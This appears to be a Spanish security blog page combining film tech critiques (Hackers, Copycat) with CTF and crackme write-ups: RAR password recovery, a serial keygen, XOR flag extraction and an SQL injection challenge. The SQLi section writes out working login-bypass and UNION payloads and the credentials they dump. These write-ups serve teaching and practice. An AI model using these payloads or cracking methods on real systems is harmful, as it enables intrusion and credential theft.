En esta ocasión vamos a hablar de una película de culto de los años 90, Hackers – Piratas Informáticos. La verdad es que aunque puede ser entretenida, tecnológicamente es una pesadilla y es que esta película es un claro ejemplo de cuando Hollywood prefiere agradar visualmente a representar escenas realistas.

Tras cuatro minutos en los que se nos presenta a Dade (Jonny Lee Miller) y sus problemas con la ley a una temprana edad, saltamos unos años después hasta ver a Dade encerrado en su habitación volviendo a las andadas intentando acceder ilegítimamente a los servidores de una cadena de televisión. Para ello hace uso de algo muy conocido en el mundillo Hacker, la Ingeniería Social, y es que aunque ahora disponemos de «cierta» conciencia en seguridad informática, en los años 90 no había ninguna. Bien, el caso es que Dade llama a las oficinas de la citada cadena de televisión a una hora en la que no hay más que el vigilante de seguridad y éste le proporciona un número que debemos suponer que es la IP de un Módem y comienza la intrusión.

BTM

Para empezar, se le ve al protagonista escribir comandos cuando en la pantalla no hay más que una animación en algo parecido a una ventana de terminal al estilo «Commander», pero no vemos lo que escribe, algo irreal.

vlcsnap-2015-11-25-18h00m25s936

A continuación y como por arte de magia entra en el sistema y lo que se muestra es una animación parpadeante con el logo de la compañia y el nombre del sistema al que estamos accediendo, también irreal.

vlcsnap-2015-11-25-12h43m18s762

Finalmente nos muestra sus intenciones, y son nada más y nada menos que cambiar la programación actual simplemente cambiando de VHS, inmejorable. A continuación os muestro la secuencia.

Por lo menos nos queda el consuelo de que cambia la tertulia de un tipejo con ciertos prejuicios raciales por una programación más interesante como «The Outer limits«, aquí conocida como «Más allá del límite«.

El resto de escenas informáticas de la película carecen de veracidad, la única que se salva, puede ser cuando accede al servidor del Instituto para programar el sistema contra incendios y vengarse de Kate (Angelina Jolie), ya que las imágenes que aparecen son de los primeros entornos gráficos de Mac.

vlcsnap-2015-11-25-18h29m08s043

vlcsnap-2015-11-25-18h29m15s390

vlcsnap-2015-11-25-18h29m31s550

Es extraño que casi todas las intrusiones las realiza desde su propia casa, algo poco inteligente, ya que por muy bueno que seas, siempre dejas huellas. Solo cuando se enfrentan a un Super-Hacker se empiezan a tomar las cosas en serio y realizan los ataques desde cabinas telefónicas.

En la película También hacen mención al Phreaking y a algunos de los libros que eran famosos por aquella época pero poco más que destacar. Por todo esto y mucho más, y aunque me caen igual de bien tanto Angelina como Jonny, la película se merece un majestuoso sello de BTM.

hackers_sello

Enlaces


Intro We require your services once again. An employee from our company had recently been identified as a known criminal
Intro Hoy tenemos un crackme realizado en Visual C++ 6. Es el típico serial asociado a un nombre. El algoritmo
st2 arcade
He de iniciar esta entrada diciendo que la segunda temporada de Stranger Things es sencillamente genial. Son 9 horas intensas
Introducción Aquí tenemos un crackme hecho en Java, lo que como comprobareis a continuación no es muy buena idea ya

Intro

We require your services once again. An employee from our company had recently been identified as a known criminal named Brett Thwaits. He is considered to have stolen missile launch codes from the US navy which unfortunately were handed to us for a brief period of time. As of now, we are accussed of the theft and unless we do something about it, we’re gonna end in some serious trouble. Before Brett left, he formatted the thumbdrive which used to store the launch codes. Fortunately, our system had made a backup image of the drive. See if you can recover the fourth launch code. Good luck!

Requerimos una vez más sus servicios. Un empleado de nuestra empresa había sido identificado recientemente como el conocido criminal Brett Thwaites. Se considera que ha robado los códigos de lanzamiento de misiles de la Armada de Estados Unidos, que por desgracia fueron entregados a nosotros por un breve período de tiempo. A partir de ahora, se nos acusa del robo y a menos que hagamos algo al respecto, vamos a tener serios problemas. Antes de que Brett se fuera formateó el dispositivo que se usa para almacenar los códigos de lanzamiento. Afortunadamente, nuestro sistema había hecho una copia de seguridad de la unidad. Mira a ver si puedes recuperar los cuatro códigos de lanzamiento. ¡Buena suerte!

Análisis del archivo

  • Fichero: forensics1
  • Extensión: img
  • Tamaño: 25 MB (26.214.400 bytes)
  • Hash MD5: 56e4cd5b8f076ba8b7c020c7339caa2b

Echamos un vistazo al archivo con un editor hexadecimal y vemos encabezados de tipos de archivos conocidos, por lo que la unidad no está encriptada. Al no estar encriptada la imagen, usaremos una herramienta de creación propia, Ancillary. En esta ocasión usaremos la versión 2 alpha, que actualmente está en desarrollo, pero podéis usar tranquilamente la versión 1.x.

Ancillary nos muestra lo que ha encontrado en el archivo por lo que pasamos a analizarlo.

2016-03-06_11-20-52

Como siempre os digo en este tipo de retos, es difícil discriminar unos ficheros en favor de otros, ya que no sabemos si lo que buscamos va a estar en una imagen, documento u otro tipo de fichero codificado o no.

2016-03-06_11-33-55

Tras analizar todos los ficheros, rápidamente suscitan nuestro interés los ficheros RAR, y más cuando el fichero que contienen es un fichero de audio y su nombre es tan sugerente como «conversation_dtmf.wav«. Como podéis apreciar en la imagen, el fichero RAR está protegido con clave por lo que necesitamos esquivar ese obstaculo.

2016-03-06_11-35-32

Recuperando una clave de un archivo RAR

En este caso el software que voy a utilizar es cRARk, pero podéis utilizar cualquier otro. Como se muestra en la imagen de abajo, mi procesador es más bien modesto pero la clave no tiene más que tres dígitos por lo que no supone ninguna dificultad recuperarla.

2016-03-06_11-42-40

DTMF (Dual-Tone Multi-Frequency)

Una vez recuperado el archivo WAV, al reproducirlo escuchamos 16 tonos telefónicos que inmediatamente me recuerdan las aventuras del mítico «Capitán Crunch«. Os animo a leer la historia de John Draper y su famosa «Blue Box» ya que no tiene desperdicio y forma parte de la historia del Phreaking.

Por si no conocías la historia, el propio nombre del fichero wav nos da la pista clave de qué buscar al contener las siglas «DTMF«.

Al ser pulsada en el teléfono la tecla correspondiente al dígito que quiere marcar, se envían dos tonos, de distinta frecuencia: uno por columna y otro por fila en la que esté la tecla, que la central decodifica a través de filtros especiales, detectando qué dígito se marcó.

No tenemos más que buscar un decodificador de tonos para obtener los preciados códigos de lanzamiento.

2016-03-06_11-44-24

Links

Intro

Hoy tenemos un crackme realizado en Visual C++ 6. Es el típico serial asociado a un nombre.

El algoritmo

Localizamos con Olly la rutina de comprobación del serial y empezamos a analizar. Vemos una serie de Calls que lo único que hacen es comprobar el tamaño de nuestro nombre y serial y si es <5 dígitos nos tira afuera.

saltos_iniciales

Una vez pasada la traba anterior procede con un bucle para el nombre y otro para el serial. Yo he metido deurus y 123456. El bucle del nombre hace xor al los dígitos ascii con un valor incremental a partir de 1. Reconvierte el valor resultante en su caracter correspondiente y lo almacena.

00401576     |.  B9 01000000   MOV ECX,1                         ; ECX = 1
0040157B     |.  33D2          XOR EDX,EDX
0040157D     |.  8B45 E4       MOV EAX,[LOCAL.7]                 ; EAX = Nombre
00401580     |>  8A18          /MOV BL,BYTE PTR DS:[EAX]         ; BL = digito que toque  <--
00401582     |.  32D9          |XOR BL,CL                        ; digito XOR ECX
00401584     |.  8818          |MOV BYTE PTR DS:[EAX],BL         ; sustituye el digito nombre por el resultante del xor
00401586     |.  41            |INC ECX                          ; ECX++
00401587     |.  40            |INC EAX                          ; Siguiente digito
00401588     |.  8038 00       |CMP BYTE PTR DS:[EAX],0
0040158B     |.^ 75 F3         \JNZ SHORT crackme3.00401580      ; Bucle -->

 Ejemplo:

d  e  u  r  u  s
64 65 75 72 75 73

(d)64 xor 1 = 65(e)
(e)65 xor 2 = 67(g)
(u)75 xor 3 = 76(v)
(r)72 xor 4 = 76(v)
(u)75 xor 5 = 70(p)
(s)73 xor 6 = 75(u)

Nombre:    deurus
Resultado: egvvpu

Hace lo mismo con el serial pero con el valor incremental a partir de 0xA (10).

00401593     |.  B9 0A000000    MOV ECX,0A                      ; ECX = A
00401598     |.  33D2           XOR EDX,EDX
0040159A     |.  8B45 F0        MOV EAX,[LOCAL.4]               ; EAX = Serial
0040159D     |>  8A18           /MOV BL,BYTE PTR DS:[EAX]       ; BL = digito que toque  <--
0040159F     |.  32D9           |XOR BL,CL                      ; BL XOR CL
004015A1     |.  8818           |MOV BYTE PTR DS:[EAX],BL       ; sustituye el digito serial por el resultante del xor
004015A3     |.  41             |INC ECX                        ; ECX++
004015A4     |.  40             |INC EAX                        ; Siguiente digito
004015A5     |.  8038 00        |CMP BYTE PTR DS:[EAX],0
004015A8     |.^ 75 F3          \JNZ SHORT crackme3.0040159D    ; Bucle -->

Ejemplo:

1  2  3  4  5  6
31 32 33 34 35 35

(1)31 xor A = 3B(;)
(2)32 xor B = 39(9)
(3)33 xor C = 3F(?)
(4)34 xor D = 39(9)
(5)35 xor E = 3B(;)
(6)36 xor F = 39(9)

Serial:    123456
Resultado: ;9?9;9

A continuación compara «egvvpu» con «;9?9;9» byte a byte.

KeyGen

El KeyGen quedaría así

for(int i = 0; i <= strlen(Nombre); i = i + 1)
                {
                        Serial[i] = (Nombre[i]^(i+1))^(0xA + i);
                }

 Links


Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en
Se nos entrega el siguiente ELF: Extracción de la Flag Si nos fijamos en las líneas 41 a la 45
Hoy analizamos Copycat, un thriller psicológico de 1995 que, como muchas películas de la época, no pudo resistirse a incorporar
AVISO: Debido a que este reto está en activo no publicaré a donde pertenece. Ya sabéis que los retos stego

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

 Este reto consiste en lo siguiente, tenemos un formulario de Login standar que podemos pasar fácilmente y seguido han implementado una pregunta de seguridad adicional para cada usuario. El login lo muestro en la imágen inferior y lo pasamos con una inyección clásica.
Username: admin
Password: ‘or ‘1’=’1

Seguido tenemos la pregunta de seguridad.

Introducimos cualquier cosa y nos muestra el siguiente error.

El error nombra la tabla «security«, luego la usaremos.

Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.

Inyección SQL Avanzada

Para inyectar a continuación meter cualquier nombre y la inyección en el password.

  • Sacando el nombre de la base de datos
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''='
Response: Table 'thisi30_chal.users' doesn't exist
  • Sacando la versión de MySQL
SQLI: 0' UNION SELECT @@version,null'
Response: 5.5.36-cll
  • Nombre de la tabla
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10
Response: userdb
  •  Todas las columnas de la tabla security
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security
Response: ID,name,secquestion,answer
  • Todas las columnas de userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb
Response: id,name,password

Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.

  • Obtener ID, name, password para los usuarios con ID = 1,2,3,4
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1
Response: 1:admin:fr0gger
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2
Response: 2:jack:simple123
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3
Response: 3:cr0pt:cr0p111
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4
Response: 4:us3r:a1b2c3
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5
Response: ERROR, there are only 4 users
  •  Obtener ID, name, secquestion, answer para los usuarios con ID = 1,2,3,4
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1
Response: 1:admin:mothers maiden name:*******
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2
Response: 2:jack:birthplace:*****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3
Response: 3:cr0pt:querty:****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4
Response: 4:us3r:favourite food:***
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5
Response: ERROR, there are only 4 users

 Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.

Links

Se nos entrega el siguiente ELF:

/* This file was generated by the Hex-Rays decompiler version 8.4.0.240320.
   Copyright (c) 2007-2021 Hex-Rays <info@hex-rays.com>

   Detected compiler: GNU C++
*/

#include <defs.h>


//-------------------------------------------------------------------------
// Function declarations

__int64 (**init_proc())(void);
void sub_1020();
// int printf(const char *format, ...);
// int getchar(void);
// int fflush(FILE *stream);
// __int64 __isoc99_scanf(const char *, ...); weak
// void __noreturn exit(int status);
// int __fastcall _cxa_finalize(void *);
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void));
FILE **deregister_tm_clones();
__int64 register_tm_clones(); // weak
FILE **_do_global_dtors_aux();
__int64 __fastcall frame_dummy(_QWORD, _QWORD, _QWORD); // weak
int __fastcall main(int argc, const char **argv, const char **envp);
_BOOL8 __fastcall comprobacion(char a1, char a2, int a3);
void _libc_csu_fini(void); // idb
void term_proc();
// int __fastcall _libc_start_main(int (__fastcall *main)(int, char **, char **), int argc, char **ubp_av, void (*init)(void), void (*fini)(void), void (*rtld_fini)(void), void *stack_end);
// int __fastcall __cxa_finalize(void *);
// __int64 _gmon_start__(void); weak

//-------------------------------------------------------------------------
// Data declarations

_UNKNOWN _libc_csu_init;
__int64 (__fastcall *_frame_dummy_init_array_entry)() = &frame_dummy; // weak
__int64 (__fastcall *_do_global_dtors_aux_fini_array_entry)() = &_do_global_dtors_aux; // weak
void *_dso_handle = &_dso_handle; // idb
char *a = "MdfnJk"; // weak
char *b = "jYx}"; // weak
char *c = "gWmfk"; // weak
char *d = "mlvpc"; // weak
char *f = "neU++w"; // weak
FILE *_bss_start; // idb
char completed_0; // weak


//----- (0000000000001000) ----------------------------------------------------
__int64 (**init_proc())(void)
{
  __int64 (**result)(void); // rax

  result = &_gmon_start__;
  if ( &_gmon_start__ )
    return (__int64 (**)(void))_gmon_start__();
  return result;
}
// 40D0: using guessed type __int64 _gmon_start__(void);

//----- (0000000000001020) ----------------------------------------------------
void sub_1020()
{
  JUMPOUT(0LL);
}
// 1026: control flows out of bounds to 0

//----- (0000000000001090) ----------------------------------------------------
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
  __int64 v3; // rax
  int v4; // esi
  __int64 v5; // [rsp-8h] [rbp-8h] BYREF
  char *retaddr; // [rsp+0h] [rbp+0h] BYREF

  v4 = v5;
  v5 = v3;
  _libc_start_main(
    (int (__fastcall *)(int, char **, char **))main,
    v4,
    &retaddr,
    (void (*)(void))_libc_csu_init,
    _libc_csu_fini,
    a3,
    &v5);
  __halt();
}
// 1096: positive sp value 8 has been found
// 109D: variable 'v3' is possibly undefined

//----- (00000000000010C0) ----------------------------------------------------
FILE **deregister_tm_clones()
{
  return &_bss_start;
}

//----- (00000000000010F0) ----------------------------------------------------
__int64 register_tm_clones()
{
  return 0LL;
}
// 10F0: using guessed type __int64 register_tm_clones();

//----- (0000000000001130) ----------------------------------------------------
FILE **_do_global_dtors_aux()
{
  FILE **result; // rax

  if ( !completed_0 )
  {
    if ( &__cxa_finalize )
      _cxa_finalize(_dso_handle);
    result = deregister_tm_clones();
    completed_0 = 1;
  }
  return result;
}
// 4080: using guessed type char completed_0;

//----- (0000000000001175) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+7h] [rbp-9h] BYREF
  int v5; // [rsp+8h] [rbp-8h]
  bool v6; // [rsp+Fh] [rbp-1h]

  v6 = 1;
  v5 = 0;
  while ( v6 )
  {
    fflush(_bss_start);
    printf("\nIntroduce la letra correcta:\t");
    __isoc99_scanf("%c", &v4);
    getchar();
    if ( v5 > 5 )
    {
      if ( v5 > 9 )
      {
        if ( v5 > 14 )
        {
          if ( v5 > 19 )
            v6 = comprobacion(v4, f[v5 - 20], 10);
          else
            v6 = comprobacion(v4, d[v5 - 15], 2);
        }
        else
        {
          v6 = comprobacion(v4, c[v5 - 10], 8);
        }
      }
      else
      {
        v6 = comprobacion(v4, b[v5 - 6], 17);
      }
    }
    else
    {
      v6 = comprobacion(v4, a[v5], 5);
    }
    if ( !v6 )
    {
      printf("Incorrecta");
      exit(1);
    }
    printf("\n%c\n", (unsigned int)v4);
    if ( v5 == 25 )
    {
      printf("Ya tienes la flag!!");
      exit(1);
    }
    ++v5;
  }
  return 0;
}
// 1060: using guessed type __int64 __isoc99_scanf(const char *, ...);
// 4050: using guessed type char *a;
// 4058: using guessed type char *b;
// 4060: using guessed type char *c;
// 4068: using guessed type char *d;
// 4070: using guessed type char *f;

//----- (0000000000001352) ----------------------------------------------------
_BOOL8 __fastcall comprobacion(char a1, char a2, int a3)
{
  return a1 == (a3 ^ a2);
}

//----- (0000000000001390) ----------------------------------------------------
void __fastcall _libc_csu_init(unsigned int a1, __int64 a2, __int64 a3)
{
  signed __int64 v4; // rbp
  __int64 i; // rbx

  init_proc();
  v4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;
  if ( v4 )
  {
    for ( i = 0LL; i != v4; ++i )
      ((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);
  }
}
// 1170: using guessed type __int64 __fastcall frame_dummy(_QWORD, _QWORD, _QWORD);
// 3DE8: using guessed type __int64 (__fastcall *_frame_dummy_init_array_entry)();
// 3DF0: using guessed type __int64 (__fastcall *_do_global_dtors_aux_fini_array_entry)();

//----- (00000000000013F4) ----------------------------------------------------
void term_proc()
{
  ;
}

Extracción de la Flag

Si nos fijamos en las líneas 41 a la 45 vemos las siguientes cadenas:

a = «MdfnJk»
b = «jYx}»
c = «gWmfk»
d = «mlvpc»
f = «neU++w»

Usaremos las cadenas y los valores XOR especificados para cada rango de v5 en el main (líneas 123 a 182) para determinar los caracteres correctos.

Para v5 de 0 a 5: v6 = comprobacion(v4, a[v5], 5);
Significa que: v4 debe ser igual a a[v5] ^ 5

Para v5 de 6 a 9: v6 = comprobacion(v4, b[v5 – 6], 17);
Significa que: v4 debe ser igual a b[v5 – 6] ^ 17

Para v5 de 10 a 14: v6 = comprobacion(v4, c[v5 – 10], 8);
Significa que: v4 debe ser igual a c[v5 – 10] ^ 8

Para v5 de 15 a 19: v6 = comprobacion(v4, d[v5 – 15], 2);
Significa que: v4 debe ser igual a d[v5 – 15] ^ 2

Para v5 de 20 a 25: v6 = comprobacion(v4, f[v5 – 20], 10);
Significa que: v4 debe ser igual a f[v5 – 20] ^ 10

Cálculo de los caracteres correctos:
Para v5 de 0 a 5:
a[0] = ‘M’, M ^ 5 = 0x4D ^ 0x05 = 0x48 -> ‘H’
a[1] = ‘d’, d ^ 5 = 0x64 ^ 0x05 = 0x61 -> ‘a’
a[2] = ‘f’, f ^ 5 = 0x66 ^ 0x05 = 0x63 -> ‘c’
a[3] = ‘n’, n ^ 5 = 0x6E ^ 0x05 = 0x6B -> ‘k’
a[4] = ‘J’, J ^ 5 = 0x4A ^ 0x05 = 0x4F -> ‘O’
a[5] = ‘k’, k ^ 5 = 0x6B ^ 0x05 = 0x6E -> ‘n’
Resulta en la cadena: HackOn

Para v5 de 6 a 9:
b[0] = ‘j’, j ^ 17 = 0x6A ^ 0x11 = 0x7B -> ‘{‘
b[1] = ‘Y’, Y ^ 17 = 0x59 ^ 0x11 = 0x48 -> ‘H’
b[2] = ‘x’, x ^ 17 = 0x78 ^ 0x11 = 0x69 -> ‘i’
b[3] = ‘}’, } ^ 17 = 0x7D ^ 0x11 = 0x6C -> ‘l’
Resulta en la cadena: {Hil

Para v5 de 10 a 14:
c[0] = ‘g’, g ^ 8 = 0x67 ^ 0x08 = 0x6F -> ‘o’
c[1] = ‘W’, W ^ 8 = 0x57 ^ 0x08 = 0x5F -> ‘_’
c[2] = ‘m’, m ^ 8 = 0x6D ^ 0x08 = 0x65 -> ‘e’
c[3] = ‘f’, f ^ 8 = 0x66 ^ 0x08 = 0x6E -> ‘n’
c[4] = ‘k’, k ^ 8 = 0x6B ^ 0x08 = 0x63 -> ‘c’
Resulta en la cadena: o_enc

Para v5 de 15 a 19:
d[0] = ‘m’, m ^ 2 = 0x6D ^ 0x02 = 0x6F -> ‘o’
d[1] = ‘l’, l ^ 2 = 0x6C ^ 0x02 = 0x6E -> ‘n’
d[2] = ‘v’, v ^ 2 = 0x76 ^ 0x02 = 0x74 -> ‘t’
d[3] = ‘p’, p ^ 2 = 0x70 ^ 0x02 = 0x72 -> ‘r’
d[4] = ‘c’, c ^ 2 = 0x63 ^ 0x02 = 0x61 -> ‘a’
Resulta en la cadena: ontra

Para v5 de 20 a 25:
f[0] = ‘n’, n ^ 10 = 0x6E ^ 0x0A = 0x64 -> ‘d’
f[1] = ‘e’, e ^ 10 = 0x65 ^ 0x0A = 0x6F -> ‘o’
f[2] = ‘U’, U ^ 10 = 0x55 ^ 0x0A = 0x5F -> ‘_
f[3] = ‘+’, + ^ 10 = 0x2B ^ 0x0A = 0x21 -> ‘!’
f[4] = ‘+’, + ^ 10 = 0x2B ^ 0x0A = 0x21 -> ‘!’
f[5] = ‘w’, w ^ 10 = 0x77 ^ 0x0A = 0x7D -> ‘}’
Resulta en la cadena: do_!!}

Uniendo todas las partes, obtenemos la flag completa: HackOn{Hilo_enc_ontrado_!!}

Hoy analizamos Copycat, un thriller psicológico de 1995 que, como muchas películas de la época, no pudo resistirse a incorporar elementos tecnológicos que, vistos desde una perspectiva actual, nos sacan una sonrisa. Vamos a desmontar algunos gazapos tecnológicos y curiosidades relacionadas con los sistemas informáticos que aparecen en la película.

El escritorio de tres pantallas: ¿el futuro en 1995?

La protagonista, la Dra. Helen Hudson (Sigourney Weaver), trabaja en un escritorio con tres pantallas, algo futurista para la época. En 1995, esto no era tan común como hoy en día. Para lograrlo, probablemente necesitaría tres ordenadores conectados de forma independiente, ya que los sistemas operativos y hardware de la época no solían soportar múltiples monitores en una sola máquina. Esto plantea preguntas interesantes sobre la logística de su set-up: ¿Cómo sincronizaba su trabajo entre tres PCs?

Un detalle curioso es que, en algunas tomas, se distingue la marca Compaq en los equipos. Compaq era una de las compañías líderes en la fabricación de ordenadores personales durante los 90 y conocida por sus soluciones de alta calidad. Este dato refuerza la idea de que el set-up de Helen estaba diseñado para representar lo último en tecnología de la época, aunque hoy resulte un tanto rudimentario. La elección de Compaq no es casual: en ese momento, era sinónimo de equipos potentes, usados tanto en oficinas como en entornos domésticos avanzados.

Internet y la magia de los módems

En una escena, Helen navega por internet con lo que suponemos es un módem de 28.8 kbps (o como mucho, un flamante 33.6 kbps, tecnología de vanguardia allá por 1995). Hasta ahí, vale. Sin embargo, la fluidez de su conexión sorprende: carga archivos, recibe correos y no se queda esperando con una pantalla de “Conectando…”. Pero lo mejor llega cuando, estando conectada, ¡suena el teléfono! En la realidad, esto cortaría la conexión o comunicaría, a menos que tuviera dos líneas telefónicas (algo raro en domicilios particulares de la época) o algún dispositivo milagroso que no conocemos.

¿Qué sistema operativo usa?

Aunque no se distingue claramente el sistema operativo, vemos una interfaz gráfica con ventanas y una consola de comandos. Esto podría ser un guiño a Windows 3.1 o Windows 3.11, ya maduro en esa época aunque la interfaz no termina de encajar. Sin embargo, también podría ser una mezcla ficticia para hacer que el entorno luciera “tecnológico” sin comprometerse demasiado con la realidad. Detalle curioso: en los 90, las películas solían personalizar las interfaces para no tener problemas legales.

El email como el epicentro de la tecnología

En los 90, el email era el rey. En las películas, los escritorios siempre tenían un gran icono de correo (a menudo animado, porque lo cool siempre parpadeaba). En Copycat, Helen recibe un correo con un archivo AVI de unos 30 segundos, lo cual plantea otra duda técnica: ¿Cuánto espacio ocupaba ese archivo en 1995?

Un AVI de 30 segundos probablemente tendría una resolución baja (320×240 píxeles o menos) y una tasa de compresión eficiente para la época, pero aun así podría pesar entre 2 y 5 MB, dependiendo de la calidad del audio y vídeo. Eso hubiera supuesto una odisea por email, ya que los servidores de la época limitaban los adjuntos a unos pocos cientos de KB. ¿Quizás el villano usó un protocolo privado para saltarse las restricciones?

Tomorrow.AVI

Tras recibir un inquietante archivo AVI, la protagonista llama a la policía, lo que desencadena una conversación cargada de decisiones tecnológicas cuestionables:

  • «¿Cómo le han enviado esto?» / «Consiguiendo su dirección de internet»: El archivo es descrito como enviado a través de «su dirección de internet», un término extraño para la época en la que lo habitual habría sido referirse al correo electrónico. Esto refleja un intento de sonar sofisticado sin usar los términos correctos.
  • «¿No podríamos localizarlo?»: La respuesta de los policías es que no pueden rastrear el origen del archivo «a no ser que esté conectado». Sin embargo, incluso en 1995, las cabeceras de los emails contenían suficiente información para rastrear el servidor de origen, aunque la práctica era más rudimentaria que en la actualidad. Ignorar esto parece una licencia creativa del guion o un concepto equivocado de localizar asociándolo quizá a las llamadas telefónicas.
  • «Es demasiado grande para pasarlo a disco»: Aquí surge el principal obstáculo: el archivo AVI es considerado «demasiado grande» para transferirlo a un disquete de 3,5 pulgadas (con una capacidad máxima de 1,44 MB). Aunque esto tiene sentido desde una perspectiva técnica, resulta extraño que fuera posible enviarlo por email en primer lugar, dado que los servidores de correo de la época tenían limitaciones más estrictas que un disquete. Esto sugiere una inconsistencia en la lógica tecnológica de la escena.
  • «Lo pasaremos a vídeo»: Ante la imposibilidad de transferirlo a un disquete, la solución propuesta es convertir el archivo a un formato reproducible en un dispositivo analógico (probablemente una cinta VHS) para transportarlo físicamente. Aunque esta decisión es plausible dentro de las limitaciones tecnológicas de la época, omite soluciones más digitales, como volver a enviarlo por email (¿acaso la policía no tenía correo electrónico?). Además, surge la pregunta de por qué no se recurre a los forenses técnicos de la policía (o del FBI) para analizar el disco duro, quienes, curiosamente, no aparecen en ningún momento de la película.
  • «Oh, Dios. ¿Cómo sabes todas estas cosas?» / «Malgasté mi juventud en los salones de videojuegos»: Esta frase añade un toque humorístico, pero no tiene relación alguna con las habilidades necesarias para resolver el problema en cuestión. Más bien, refuerza la desconexión entre los diálogos y las acciones tecnológicas presentadas.

Conclusión

Copycat (1995) es un buen ejemplo de cómo el cine de los 90 abordaba la tecnología con una mezcla de admiración y confusión. Desde la exageración de tener tres monitores en el escritorio de Helen hasta la torpe gestión del archivo Tomorrow.AVI, la película refleja tanto las limitaciones tecnológicas de la época como las libertades creativas de los guionistas.

En el caso del archivo AVI, los personajes deciden que no se puede gestionar digitalmente y optan por convertirlo a vídeo analógico, ignorando soluciones más simples como volver a enviarlo por correo electrónico (suponiendo que fuera posible). Este detalle, combinado con la ausencia aparente de personal técnico en la policía, subraya una desconexión entre la narrativa y las capacidades reales de la tecnología, incluso para 1995.

Aunque estos detalles pueden parecer cómicos 30 años después, forman parte del encanto de un cine que imaginaba el futuro sin comprender del todo su presente. Más que errores, son un recordatorio de cómo la tecnología ha evolucionado y de cómo nuestra percepción de ella también lo ha hecho.

Enlaces

  • Copycat [IMDb]
  • Historia de Internet [Wikipedia]
  • Correo electrónico [Wikipedia]
  • Compaq [Wikipedia]
  • Silicon Cowboys: la historia de cómo Compaq retó (y venció) a IBM y Apple [Xataka]
  • Formato de vídeo AVI [Wikipedia]
  • Analysis of video file formats in forensics (.avi example) [DiViLine]

Galería

AVISO: Debido a que este reto está en activo no publicaré a donde pertenece.

Ya sabéis que los retos stego son muy variopintos. El otro día me encontré con uno que parecía que iba a ser complejo pero en realidad era bastante sencillo.

Tras varias pruebas complejas infructuosas, se me ocurrió descomponer por canales y efectivamente ese era el camino. Para ello yo utilicé la herramienta StegSolve de mi querido Caesum, pero podéis resolverlo incluso online con Pinetools.

Descomposición RGB